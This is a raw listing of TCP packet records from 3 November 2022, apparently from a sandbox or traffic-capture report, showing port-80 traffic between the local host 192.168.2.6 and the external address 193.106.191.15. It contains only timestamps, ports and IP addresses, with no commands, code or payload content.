Nov 3, 2022 12:46:54.823782921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823817015 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823824883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823853016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823888063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823892117 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823920965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823956966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823965073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823991060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824026108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824028969 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.824060917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824099064 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.824103117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824137926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824173927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824176073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.824207067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824242115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824244976 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.824301004 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824326992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824343920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.824352026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824377060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824392080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.824402094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824429989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824440956 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.824465990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824492931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824508905 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.824522018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.824561119 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881261110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881318092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881350040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881382942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881413937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881444931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881474972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881490946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881506920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881537914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881551027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881567955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881587029 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881597996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881608009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881628036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881658077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881669998 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881688118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881717920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881726980 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881748915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881779909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881788015 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881810904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881841898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881851912 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881871939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881901979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881911039 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881932020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881963015 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.881973028 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.881993055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882049084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882097006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882128000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882158995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882184029 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882195950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882230043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882241011 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882261038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882291079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882301092 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882322073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882352114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882360935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882381916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882412910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882426977 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882442951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882472038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882479906 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882504940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882534027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882543087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882565022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882606983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882666111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882694960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882724047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882744074 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882752895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882801056 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.882930040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.882976055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883018017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883033037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883061886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883105040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883109093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883147001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883189917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883197069 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883234024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883275986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883279085 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883317947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883361101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883372068 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883403063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883449078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883451939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883475065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883495092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883512974 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883516073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883538961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883563042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883574963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883584976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883610964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883611917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883672953 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883696079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883721113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883745909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883766890 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883771896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883816957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.883882999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883908033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883934021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883951902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.883977890 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.884012938 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.884031057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.884057999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.884083986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.884109974 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.884113073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.884155989 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.884217978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.884243965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.884269953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.884294987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.884299994 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.884375095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.938745975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.938796997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.938817024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.938832998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939017057 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939081907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939109087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939148903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939176083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939188004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939208984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939224958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939245939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939281940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939295053 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939318895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939347982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939379930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939382076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939414024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939429045 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939452887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939476013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939503908 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939510107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939543009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939557076 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939578056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939614058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939621925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939650059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939680099 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939693928 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939714909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939747095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939758062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939784050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939815998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939825058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939848900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939882994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939892054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.939923048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939959049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.939968109 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940098047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940134048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940166950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940171003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940207005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940215111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940242052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940262079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940289021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940290928 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940330029 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940352917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940378904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940403938 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940427065 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940428972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940474987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940484047 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940502882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940529108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940541983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940556049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940582037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940601110 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940610886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940634966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940659046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940660000 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940684080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940709114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940728903 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940740108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940766096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940767050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940802097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940814972 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940830946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940856934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940885067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940885067 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940911055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940931082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.940941095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940967083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940989971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.940994978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941018105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941046000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941068888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941087008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941102982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941121101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941144943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941153049 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941178083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941180944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941212893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941240072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941242933 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941266060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941288948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941293001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941318035 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941343069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941345930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941371918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941397905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941399097 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941453934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941481113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941499949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941509962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941536903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941541910 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941561937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941586971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941591978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941613913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941637993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941637993 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941663027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941684961 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941688061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941715002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941741943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941742897 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941770077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941797972 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941798925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941824913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941850901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941850901 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941876888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941900969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941905975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941931963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941946030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.941960096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941986084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.941998005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942011118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942035913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942045927 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942063093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942086935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942111969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942115068 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942138910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942156076 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942174911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942203045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942229033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942229986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942255974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942256927 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942281008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942286968 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942325115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942336082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942353010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942378998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.942401886 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942719936 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.942858934 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.996737003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.996795893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.996836901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.996877909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.996891975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.996949911 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.999005079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999070883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999100924 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.999134064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999178886 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.999193907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999253988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999296904 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.999315023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999378920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999418020 CET	49704	80	192.168.2.6	193.106.191.15
